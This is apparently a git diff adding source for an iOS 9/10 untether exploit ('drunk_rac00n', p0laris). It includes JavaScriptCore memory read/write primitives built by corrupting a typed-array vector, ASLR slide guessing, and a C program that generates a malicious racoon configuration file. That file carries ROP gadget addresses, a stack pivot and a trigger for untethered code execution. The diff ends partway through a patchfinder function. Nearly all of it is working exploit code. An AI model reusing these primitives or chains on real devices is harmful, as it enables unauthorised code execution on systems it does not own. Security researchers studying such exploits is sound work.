+ val_ = val >>> 0;
+
+ u8x2[0] = ((val_ >> 0) & 0xff);
+ u8x2[1] = ((val_ >> 8) & 0xff);
+
+ return u8x2;
+}
+
+/*
+ * turn a little-endian 4 byte array into a uint32_t
+ */
+function u8x4_to_u32(buf) {
+ u32 = 0x0;
+
+ u32 += (buf[0] << 0);
+ u32 += (buf[1] << 8);
+ u32 += (buf[2] << 16);
+ u32 += (buf[3] << 24);
+
+ return u32 >>> 0;
+}
+
+/*
+ * turn a little-endian 2 byte array into a uint16_t
+ */
+function u8x2_to_u16(buf) {
+ u16 = 0x0;
+
+ u16 += (buf[0] << 0);
+ u16 += (buf[1] << 8);
+
+ return u16 >>> 0;
+
+}
diff --git a/js/main.js b/js/main.js new file mode 100644 index 0000000..11bd185 --- /dev/null +++ b/js/main.js @@ -0,0 +1,71 @@ +var MAX_SLIDE = 0x3;
+var MIN_SLIDE = 0x1;
+
+try {
+ log("we out here in jsc");
+} catch (e) {
+ /*
+ * we don't have log. :(
+ */
+
+ log = function (){};
+}
+
+function main() {
+ /*
+ * get slide and calculate slid base
+ * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
+ *
+ * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
+ * random byte and shifting it 12 bits, in this case the page size, 4096
+ * (0x1000) bytes), and add it to the unslid base.
+ */
+
+ slide = get_our_slide();
+ base = 0x4000 + (slide << 12);
+ slid = (slide << 12);
+ // call(0x41424344);
+
+ log("slide=0x" + slide.toString(16));
+ log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
+ log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
+ log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
+
+ write_u32(0x144444, 0x69691337);
+
+ log("writing to first mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("writing to second mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("survived both writes!");
+
+ child.a = parent;
+
+ predicted_jsobject_addy = 0x422200;
+ buf = read_buf(predicted_jsobject_addy, 0x200);
+
+ log("hexdump of predicted jsobject loc:");
+ log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
+
+ var dlsym_addy = read_u32(0x1a0000 + 24 + slid);
+ var shc_slide = read_u32(0x1a0000 + 20 + slid);
+ write_str(0x148000, "get rekt from jsc\0");
+ write_str(0x149000, "syslog\0");
+ write_str(0x14a000, "sleep\0");
+ while (true) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x28, 0x148000, 0x2, 0x3);
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x14a000, 0, 0), 10, 0x1, 0x2, 0x3);
+ }
+/*
+ for (i = 0; i < 0x1000; i++) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x148000, i, 0x2, 0x3);
+ }*/
+
+// call(0x9ac54 + (slide << 12));
+// write_u32(0x1013b8, 0x41414141);
+// call(0x41414141);
+
+// call(0x56ab9 + (slide << 12));
+
+ log("still alive");
+};
diff --git a/js/mem.js b/js/mem.js new file mode 100644 index 0000000..20d5b5d --- /dev/null +++ b/js/mem.js @@ -0,0 +1,147 @@ +var VECTOR_OFFSET = 0x10;
+
+/*
+ * read uint8_t
+ */
+function read_u8(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ /*
+ * `parent` is a Uint8Array of length 0x100.
+ * `child` is also a Uint8Array of length 0x100.
+ * `parent`'s `vector`, its pointer to where its data is stored, has been
+ * modified to point to the `child` object in memory.
+ * as such, accessing `parent` will allow for modifying the `child` object.
+ *
+ * the way this is used is by writing to `child`'s `vector` so it points to
+ * arbitrary memory. then, we can access `child`, and we now have arbitrary
+ * r/w
+ */
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return child[0];
+}
+
+/*
+ * read uint16_t
+ */
+function read_u16(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x2_to_u16(child);
+
+}
+
+/*
+ * read uint32_t
+ */
+function read_u32(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x4_to_u32(child);
+}
+
+/*
+ * read a buffer
+ */
+function read_buf(addy, len) {
+ var buf = new Uint8Array(len);
+
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ buf[cur_addy - addy] = read_u8(cur_addy);
+ }
+
+ return buf;
+}
+
+/*
+ * write a buffer
+ */
+function write_buf(addy, buf, len) {
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ write_u8(cur_addy, buf[cur_addy - addy]);
+ }
+
+ return buf;
+}
+
+/*
+ * write uint8_t
+ */
+function write_u8(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ child[0] = what;
+}
+
+/*
+ * write uint16_t
+ */
+function write_u16(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x2 = u16_to_u8x2(what);
+ child[0] = u8x2[0];
+ child[1] = u8x2[1];
+}
+
+/*
+ * write uint32_t
+ */
+function write_u32(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x4 = u32_to_u8x4(what);
+ child[0] = u8x4[0];
+ child[1] = u8x4[1];
+ child[2] = u8x4[2];
+ child[3] = u8x4[3];
+}
+
+/*
+ * get process slide
+ */
+function get_our_slide() {
+ for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
+ if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
+ return slide;
+ }
+ }
+}
+
+function write_str(addy, s) {
+ for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
+ write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
+ }
+
+ return s;
+}
diff --git a/js/str.js b/js/str.js new file mode 100644 index 0000000..4f171fc --- /dev/null +++ b/js/str.js @@ -0,0 +1,105 @@ +
+
+function prim_dump_u32(buf) {
+ s = "";
+
+ for (var i = 0; i < buf.length; i += 4) {
+ tmp = [];
+
+ tmp.push(buf[i + 0]);
+ tmp.push(buf[i + 1]);
+ tmp.push(buf[i + 2]);
+ tmp.push(buf[i + 3]);
+
+ s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8);
+ s += ": ";
+ s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8);
+ if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
+ s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8);
+ s += "\n";
+ val = read_u32(u8x4_to_u32(tmp));
+ if (val >= 0x1800000 && val < 0x1900000) {
+ buf = read_buf(val, 0x100);
+ s += (hexdump(buf, 8, 2, val, 8, "0x"));
+ }
+ }
+ s += "\n";
+ }
+
+ return s;
+}
+
+function pad_left(s, c, n) {
+ s_ = s;
+
+ if (s_.length < n) {
+ s_ = c.repeat(n - s_.length) + s_;
+ }
+
+ return s_;
+}
+
+function str_to_uint8_buf(s) {
+ buf = new Uint8Array(s.length);
+
+ for (i = 0; i < s.length; i++) {
+ buf[i] = s.charCodeAt(i);
+ }
+
+ return buf;
+}
+
+/*
+ * HOLY UGLY BATMAN!
+ */
+function hexdump(buf, cols, col_split, base, pad_base, base_prefix) {
+ s = "";
+ if (buf.constructor != Uint8Array) {
+ buf = str_to_uint8_buf(buf);
+ }
+
+ for (i = 0; i < buf.length; i += (cols * col_split)) {
+ cur_base = base + i;
+ s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": ";
+ for (j = i; j < (i + (cols * col_split)); j += col_split) {
+ for (k = j; k < (j + col_split); k++) {
+ val = buf[k];
+ try {
+ s += pad_left(val.toString(16), "0", 2);
+ } catch (e) {
+ s += " ";
+ }
+ }
+ s += " ";
+ }
+
+ for (j = i; j < (i + (cols * col_split)); j++) {
+ val = buf[j];
+
+ if (val < 0x20 || val >= 0x80) {
+ val = 0x2e; // period
+ }
+
+ chr = String.fromCharCode(val);
+ s += chr;
+ }
+
+ s += "\n";
+ }
+
+ return s;
+}
+
+/*
+ * HEX SHIT
+ */
+function prim_hexdump(buf) {
+ s = "";
+
+ for (i = 0; i < buf.length; i++) {
+ val = buf[i];
+ s += pad_left(val.toString(16), "0", 2);
+ }
+
+ return s;
+}
diff --git a/js/utils.js b/js/utils.js new file mode 100644 index 0000000..2b9931e --- /dev/null +++ b/js/utils.js @@ -0,0 +1,78 @@ +//
+// Utility functions.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+
+// Return the hexadecimal representation of the given byte.
+function hex(b) {
+ return ('0' + b.toString(16)).substr(-2);
+}
+
+// Return the hexadecimal representation of the given byte array.
+function hexlify(bytes) {
+ var res = [];
+ for (var i = 0; i < bytes.length; i++)
+ res.push(hex(bytes[i]));
+
+ return res.join('');
+}
+
+// Return the binary data represented by the given hexdecimal string.
+function unhexlify(hexstr) {
+ if (hexstr.length % 2 == 1)
+ throw new TypeError("Invalid hex string");
+
+ var bytes = new Uint8Array(hexstr.length / 2);
+ for (var i = 0; i < hexstr.length; i += 2)
+ bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
+
+ return bytes;
+}
+
+function hexdump(data) {
+ if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
+ data = Array.from(data);
+
+ var lines = [];
+ for (var i = 0; i < data.length; i += 16) {
+ var chunk = data.slice(i, i+16);
+ var parts = chunk.map(hex);
+ if (parts.length > 8)
+ parts.splice(8, 0, ' ');
+ lines.push(parts.join(' '));
+ }
+
+ return lines.join('\n');
+}
+
+// Simplified version of the similarly named python module.
+var Struct = (function() {
+ // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
+ var buffer = new ArrayBuffer(8);
+ var byteView = new Uint8Array(buffer);
+ var uint32View = new Uint32Array(buffer);
+ var float64View = new Float64Array(buffer);
+
+ return {
+ pack: function(type, value) {
+ var view = type; // See below
+ view[0] = value;
+ return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
+ },
+
+ unpack: function(type, bytes) {
+ if (bytes.length !== type.BYTES_PER_ELEMENT)
+ throw Error("Invalid bytearray");
+
+ var view = type; // See below
+ byteView.set(bytes);
+ return view[0];
+ },
+
+ // Available types.
+ int8: byteView,
+ int32: uint32View,
+ float64: float64View
+ };
+})();
diff --git a/src/common.h b/src/common.h new file mode 100755 index 0000000..8f5a32b --- /dev/null +++ b/src/common.h @@ -0,0 +1,15 @@ +#ifndef COMMON_H +#define COMMON_H + +#include <stdint.h> +#include <stdlib.h> + +struct racoon_offsets { + uint32_t dns4_offset; + uint32_t lc_conf_offset; + uint32_t stack_base; +}; + +extern char* fuck_memory_leaks; + +#endif
\ No newline at end of file diff --git a/src/ip_tools.c b/src/ip_tools.c new file mode 100755 index 0000000..6e36b64 --- /dev/null +++ b/src/ip_tools.c @@ -0,0 +1,24 @@ +/* + * ip_tools + */ + +#include <stdint.h> +#include <stdlib.h> +#include <stdio.h> + +#include "ip_tools.h" + +char* uint32_t_to_ip(uint32_t val) { + uint8_t byte1 = (val >> 0) & 0xff; + uint8_t byte2 = (val >> 8) & 0xff; + uint8_t byte3 = (val >> 16) & 0xff; + uint8_t byte4 = (val >> 24) & 0xff; + char* ret = NULL; + + asprintf(&ret, "%u.%u.%u.%u", + byte1, + byte2, + byte3, + byte4); + return ret; +}
\ No newline at end of file diff --git a/src/ip_tools.h b/src/ip_tools.h new file mode 100755 index 0000000..a011094 --- /dev/null +++ b/src/ip_tools.h @@ -0,0 +1,8 @@ +#ifndef IP_TOOLS_H +#define IP_TOOLS_H + +#include <stdint.h> + +char* uint32_t_to_ip(uint32_t val); + +#endif
\ No newline at end of file diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..b2f6d3f --- /dev/null +++ b/src/main.c @@ -0,0 +1,497 @@ +/* + * drunk_rac00n + * untethered code execution on iOS 9 and 10, by exploiting the rocky racoon + * config file bug. then ROP the shit out of racoon, and it remains to be seen + * what will be done after that. UPDATE THIS COMMENT!!! + */ + +#include <stdbool.h> +#include <stdlib.h> +#include <unistd.h> +#include <string.h> +#include <stdio.h> + + +#include "stage1_primitives.h" +#include "stage0_primitives.h" +#include "patchfinder.h" +#include "stage2.h" +#include "ip_tools.h" +#include "common.h" +#include "shit.h" + +uint32_t DNS4_OFFSET; +uint32_t LC_CONF_OFFSET; + +char* fuck_memory_leaks = NULL; + +FILE* fp = NULL; + +void help(void) { + fprintf(stderr, + "usage: %s [-f /path/to/racoon] [-o /path/to/output/conf]\n", + getprogname()); +} + +void hexdump_to_stderr(void* what, size_t len, int cols, int col_split) { + uint8_t* new_what = (uint8_t*)what; + for (new_what = (uint8_t*)what; new_what < (what + len); new_what += (cols * col_split)) { + fprintf(stderr, "0x016%llx: ", new_what); + for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j += col_split) { + for (uint8_t* k = j; k < (j + col_split); k++) { + uint8_t val = *k; + if (new_what < (what + len)) { + fprintf(stderr, "%02x", val); + } else { + fprintf(stderr, " "); + } + } + + fprintf(stderr, " "); + } + + for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j++) { + uint8_t val = *j; + if (val < 0x20 || val >= 0x80) { + val = 0x2e; + } + + fprintf(stderr, "%c", val); + } + + fprintf(stderr, "\n"); + } +} + +void prim_hexdump_to_stderr(void* what, size_t len) { + for (uint8_t* new_what = (uint8_t*)what; new_what < (what + len); new_what++) { + fprintf(stderr, "%02x", *new_what); + } + + fprintf(stderr, "\n"); +} + +int main(int argc, + char* argv[]) { + uint8_t* buf = NULL; + size_t sz = -1; + char* bin_path = NULL; + char* js_path = NULL; + char* js_src = NULL; + FILE* bin = NULL; + FILE* js = NULL; + bool had_f = false; + bool had_j = false; + int c = -1; + + fp = stdout; + + fuck_memory_leaks = (char*)malloc(1048576); + + if (argc < 2) { + help(); + return -1; + } + + while ((c = getopt(argc, argv, "hf:o:j:")) != -1) { + switch (c) { + case 'o': + fp = fopen(optarg, "w"); + break; + case 'f': + bin_path = strdup(optarg); + had_f = true; + break; + case 'j': + js_path = strdup(optarg); + had_j = true; + break; + case 'h': + help(); + return -1; + default: + help(); + return -1; + } + } + + if (!bin_path) { +#if 0 + fprintf(stderr, + had_f ? "error: failed to open racoon binary...\n" + : "error: racoon binary unspecified.\n"); + return -1; +#endif + bin = fopen("/usr/sbin/racoon", "rb"); + } else { + bin = fopen(bin_path, "rb"); + } + + if (!had_j) { +#if 0 + fprintf(stderr, + had_j ? "error: failed to open JS code...\n" + : "error: JS code unspecified.\n"); + return -1; +#endif + js = fopen("lol.js", "rb"); + } else { + js = fopen(js_path, "rb"); + } + + fseek(js, 0L, SEEK_END); + sz = ftell(js); + rewind(js); + + js_src = (char*)malloc(sz); + fread(js_src, 1, sz, js); + + fseek(bin, 0L, SEEK_END); + sz = ftell(bin); + rewind(bin); + + buf = (uint8_t*)malloc(sz); + fread(buf, 1, sz, bin); + DNS4_OFFSET = find_dns4_offset(0, buf, sz); + LC_CONF_OFFSET = find_lc_conf_offset(0, buf, sz); + free(buf); + + fprintf(stderr, "we out here\n"); + + fprintf(fp, "# drunk_rac00n exploit by @__spv\n"); + fprintf(fp, "# this file is auto-generated by the p0laris untether,\n"); + fprintf(fp, "# do not edit or delete!!!\n"); + fprintf(fp, "# DNS4_OFFSET=0x%x\n", DNS4_OFFSET); + fprintf(fp, "# LC_CONF_OFFSET=0x%x\n", LC_CONF_OFFSET); + fprintf(fp, "# bin_path=\"%s\"\n", bin_path); + fprintf(fp, "# compiled on %s at %s by \"%s\", by %s in \"%s\"\n", + __DATE__, + __TIME__, + __VERSION__, + __WHOAMI__, + __PWD__); + fprintf(fp, "# - with love from spv <3\n"); + fprintf(fp, "\n"); + +// uint32_t stack_base = 0x1c7738; // my shell setup +// uint32_t stack_base = 0x1c7c88; // my 4s shell setup +// uint32_t stack_base = 0x1c2e48; // my lldb + uint32_t stack_base = 0x1c7d68; // btserver env + uint32_t magic_trigger_addr = 0xb6074; + + uint32_t mov_r0_0_bx_lr = 0x8d3e | 1; + uint32_t pop_r4_to_r7_pc = 0x781a | 1; + uint32_t mov_r0 = 0xee40 | 1; + uint32_t puts_addr = 0x9ac54; + uint32_t blx_r5 = 0x13012 | 1; + uint32_t malloc_addr = 0x9abdc; + uint32_t mov_r1_r0 = 0x72f76 | 1; + uint32_t nop = 0x781a | 1; + uint32_t printf_addr = 0x9ac30; + uint32_t exit_addr = 0x9a9a8; + uint32_t str_r0_r4 = 0x85474 | 1; + uint32_t ldr_r0_r0 = 0x397dc | 1; + uint32_t add_r0_r1 = 0x75cca | 1; + uint32_t pivot_addr = 0x75f18 | 1; + uint32_t pivot_to = 0x100000; + uint32_t weird_r3 = 0x75a3c | 1; + uint32_t other_weird_r3 = 0x8806 | 1; + +#if 0 + fprintf(stderr, "PRE: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr); + fprintf(stderr, "PRE: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc); + + mov_r0_0_bx_lr = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x70\x47\x00\x20\x70\x47", 6) + 0x4002) | 1; + pop_r4_to_r7_pc = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x01\xb0\xf0\xbd", 4) + 0x4002) | 1; + mov_r0 = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x20\x46\xf0\xbd", 4) + 0x4000) | 1; +// puts_addr = + + fprintf(stderr, "POST: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr); + fprintf(stderr, "POST: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc); +#endif + +// fprintf(stderr, "0x%08x\n", find_printf_addr(0, buf, sz)); +// fprintf(stderr, "0x%08x\n", find_puts_addr(0, buf, sz)); + + uint32_t scprefcreate_lazy_offset = 0xb4140; + uint32_t scprefcreate_dsc_offset = 0xce2065; + + uint32_t we_out_here_addr = 0x1c5000; + uint32_t malloc_status_addr = 0x1c5100; + uint32_t dyld_status_addr = 0x1c5200; + uint32_t dyld_status2_addr = 0x1c5300; + uint32_t jsc_addr = 0x1c5400; + uint32_t dlopen_status_addr = 0x1c5500; + uint32_t dyld_shc_status_addr = 0x1c5600; + uint32_t reserve_addr = 0x1a0000; + uint32_t nulls_addr = 0x5000; + uint32_t time_addr = 0x1c5700; + uint32_t arg_addr = 0x1c5800; + +#if 0 + for (int blaze = 0x1c7700; blaze < 0x1c8000; blaze += 4) { + fprintf(fp, "%s", write32_slid(blaze, 0x41000000 | blaze)); + } + + fprintf(fp, + "%s", + write32_slid(magic_trigger_addr, + 0x13371337)); + + /* + * dummy statement to run inet_pton to attempt the trigger if correct + * slide + */ + fprintf(fp, + "mode_cfg{" + "dns41.1.1.1;" + "}"); + + /* + * bail if the slide is wrong + */ + fprintf(fp, + "%s\n", + write32_unslid(0x41414141, + 0x42424242)); +#endif + +#if 0 +// fprintf(fp, +// "%s\n", +// write32_unslid(0x41414141, +// 0x42424242)); + uint32_t guessed_slide = 0x1000; + + for (uint32_t x = 0x1c7800; x < 0x1c8000; x += 4) { + fprintf(fp, "%s", write32_unslid(x + guessed_slide, 0x41000000 | x)); + } + + /* + * trigger if right slide + * + * this trigger is kinda magic to me, basically it's writing to some + * error or status variable that the YACC/bison internal shit uses or + * something, and writing some different val makes it think there was + * and error or some shit, idk + */ + fprintf(fp, + "%s", + write32_unslid(guessed_slide + magic_trigger_addr, + 0x13371337)); + + /* + * dummy statement to run inet_pton to attempt the trigger if correct + * slide + */ + fprintf(fp, + "mode_cfg{" + "dns41.1.1.1;" + "}"); + + /* + * bail if the slide is wrong + */ + fprintf(fp, + "%s\n", + write32_unslid(0x41414141, + 0x42424242)); +#endif + + for (int slide = 0x1; slide <= 0x3; slide++) { + uint32_t base = slide << 12; + uint32_t slid_stack = stack_base + base; + + char* we_out_here_str = NULL; + asprintf(&we_out_here_str, + "[*] drunk_rac00n exploit by spv. aslr_slide=0x%x\n" + "[*] ROP 'til you die motherfuckers.", + slide); + + fprintf(fp, + "%s", + writebuf_unslid(base + we_out_here_addr, + we_out_here_str, + strlen(we_out_here_str) + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + malloc_status_addr, + "[*] malloc(...)\t\t\t= %p\n", + strlen("[*] malloc(...)\t\t\t= %p\n") + 1)); + + + fprintf(fp, + "%s", + writebuf_unslid(base + dyld_status_addr, + "[*] dyld_base\t\t\t= %p\n", + strlen("[*] dyld_base\t\t\t= %p\n") + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + dyld_status2_addr, + "[*] *(uint32_t*)dyld_base\t= %p\n", + strlen("[*] *(uint32_t*)dyld_base\t= %p\n") + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + jsc_addr, + "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore", + strlen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore") + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + dlopen_status_addr, + "[*] dlopen(JavaScriptCore)\t= %p\n", + strlen("[*] dlopen(JavaScriptCore)\t= %p\n") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(base + dyld_shc_status_addr, + "[*] dyld_shared_cache base\t= %p\n", + strlen("[*] dyld_shared_cache base\t= %p\n") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(base + time_addr, + "[*] time\t\t\t= %d\n", + strlen("[*] time\t\t\t= %d\n") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(base + arg_addr, + "/untether/p0laris", + strlen("/untether/p0laris") + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(0x108000, + "var parent = new Uint8Array(0x100);" + "var child = new Uint8Array(0x100);" + "" + "function shitalloc() {" + " var fuck = new Array();" + " for (var i = 0; i < 0x800000; i++) {" + " fuck[i] = i;" + " }" + " delete fuck;" + "}" + "" + "shitalloc();", + strlen("var parent = new Uint8Array(0x100);" + "var child = new Uint8Array(0x100);") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(0x10a000, + js_src, + strlen(js_src) + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(0x109000, + "still alive\n", + strlen("still alive\n") + 1)); + + + rop_chain_shit chain_b0i = gen_rop_chain(base, + we_out_here_addr, + mov_r0, + puts_addr, + blx_r5, + nulls_addr, + malloc_addr, + mov_r1_r0, + nop, + malloc_status_addr, + printf_addr, + exit_addr, + str_r0_r4, + reserve_addr, + ldr_r0_r0, + add_r0_r1, + pivot_to + 0x10, + dyld_shc_status_addr, + scprefcreate_dsc_offset, + scprefcreate_lazy_offset, + weird_r3, + other_weird_r3); + +// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len); + + fprintf(fp, + "\n\n# rop_chain length %d bytes (0x%x bytes hex), ASLR slide=0x%x, slid_base=0x%x\n", + chain_b0i->chain_len, + chain_b0i->chain_len, + (slide), + (slide << 12) + 0x4000); + +#if 0 + for (int val = 0; val < (chain_b0i->chain_len / 4); val++) { + fprintf(fp, + "%s", + write32_unslid(slid_stack + (val * 4), + chain_b0i->teh_chain[val])); + } +#endif + + fprintf(fp, "%s", write32_unslid(slid_stack + 0x0, pivot_to)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0x4, 0x41414141)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0x8, 0x41414141)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0xc, 0x41414141)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0x10, base + pivot_addr)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0x0, 0x41414141)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0x4, 0x41414141)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0x8, 0x41414141)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0xc, base + nop)); + + /* + * use writebuf_unslid as it uses like 1/6th of the statements + */ + fprintf(fp, + "%s", + writebuf_unslid(pivot_to + 0x10, + (char*)chain_b0i->teh_chain, + chain_b0i->chain_len)); + +// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len); + + /* + * trigger if right slide + * + * this trigger is kinda magic to me, basically it's writing to some + * error or status variable that the YACC/bison internal shit uses or + * something, and writing some different val makes it think there was + * and error or some shit, idk + */ + fprintf(fp, + "%s", + write32_unslid(base + magic_trigger_addr, + 0x13371337)); + + /* + * dummy statement to run inet_pton to attempt the trigger if correct + * slide + */ + fprintf(fp, + "mode_cfg{" + "dns41.1.1.1;" + "}"); + + /* + * we don't need no memory leaks round these parts + */ + free(chain_b0i->teh_chain); + } + + /* + * bail if the slide is wrong + */ + fprintf(fp, + "%s\n", + write32_unslid(0x41414141, + 0x42424242)); + + free(js_src); + free(fuck_memory_leaks); + +// getc(stdin); + + return 0; +} diff --git a/src/patchfinder.c b/src/patchfinder.c new file mode 100644 index 0000000..7464d70 --- /dev/null +++ b/src/patchfinder.c @@ -0,0 +1,805 @@ +/* + * fucking shit patchfinder that does garbage patchfinding for this shit fuck + * exploit + */ + +#include <mach/vm_types.h> +#include <mach-o/nlist.h> +#include <mach-o/dyld.h> +#include <mach-o/fat.h> +#include <sys/mman.h> +#include <stdint.h> +#include <string.h> +#include <dlfcn.h> +#include <stdio.h> + +#include "patchfinder.h" +#include "common.h" + +static uint32_t bit_range(uint32_t x, int start, int end) { + x = (x << (31 - start)) >> (31 - start); + x = (x >> end); + return x; +} + +static uint32_t ror(uint32_t x, int places) { + return (x >> places) | (x << (32 - places)); +} + +static int thumb_expand_imm_c(uint16_t imm12) { + if (bit_range(imm12, 11, 10) == 0) { + switch (bit_range(imm12, 9, 8)) { + case 0: + return bit_range(imm12, 7, 0); + case 1: + return (bit_range(imm12, 7, 0) << 16) | bit_range(imm12, 7, 0); + case 2: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 8); + case 3: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 16) | (bit_range(imm12, 7, 0) << 8) | bit_range(imm12, 7, 0); + default: + return 0; + } + } else { + uint32_t unrotated_value = 0x80 | bit_range(imm12, 6, 0); + return ror(unrotated_value, bit_range(imm12, 11, 7)); + } +} + +static int insn_is_32bit(uint16_t* i) { + return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0; +} + +static int insn_is_bl(uint16_t* i) { + if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd000) == 0xd000) + return 1; + else if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd001) == 0xc000) + return 1; + else + return 0; +} + +static uint32_t insn_bl_imm32(uint16_t* i) { + uint16_t insn0 = *i; + uint16_t insn1 = *(i + 1); + uint32_t s = (insn0 >> 10) & 1; + uint32_t j1 = (insn1 >> 13) & 1; + uint32_t j2 = (insn1 >> 11) & 1; + uint32_t i1 = ~(j1 ^ s) & 1; + uint32_t i2 = ~(j2 ^ s) & 1; + uint32_t imm10 = insn0 & 0x3ff; + uint32_t imm11 = insn1 & 0x7ff; + uint32_t imm32 = (imm11 << 1) | (imm10 << 12) | (i2 << 22) | (i1 << 23) | (s ? 0xff000000 : 0); + return imm32; +} + +static int insn_is_b_conditional(uint16_t* i) { + return (*i & 0xF000) == 0xD000 && (*i & 0x0F00) != 0x0F00 && (*i & 0x0F00) != 0xE; +} + +static int insn_is_b_unconditional(uint16_t* i) { + if ((*i & 0xF800) == 0xE000) + return 1; + else if ((*i & 0xF800) == 0xF000 && (*(i + 1) & 0xD000) == 9) + return 1; + else + return 0; +} + +static int insn_is_ldr_literal(uint16_t* i) { + return (*i & 0xF800) == 0x4800 || (*i & 0xFF7F) == 0xF85F; +} + +static int insn_ldr_literal_rt(uint16_t* i) { + if ((*i & 0xF800) == 0x4800) + return (*i >> 8) & 7; + else if ((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int insn_ldr_literal_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x4800) + return (*i & 0xF) << 2; + else if ((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) & 0xFFF) * (((*i & 0x0800) == 0x0800) ? 1 : -1); + else + return 0; +} + +// TODO: More encodings +static int insn_is_ldr_imm(uint16_t* i) { + uint8_t opA = bit_range(*i, 15, 12); + uint8_t opB = bit_range(*i, 11, 9); + + return opA == 6 && (opB & 4) == 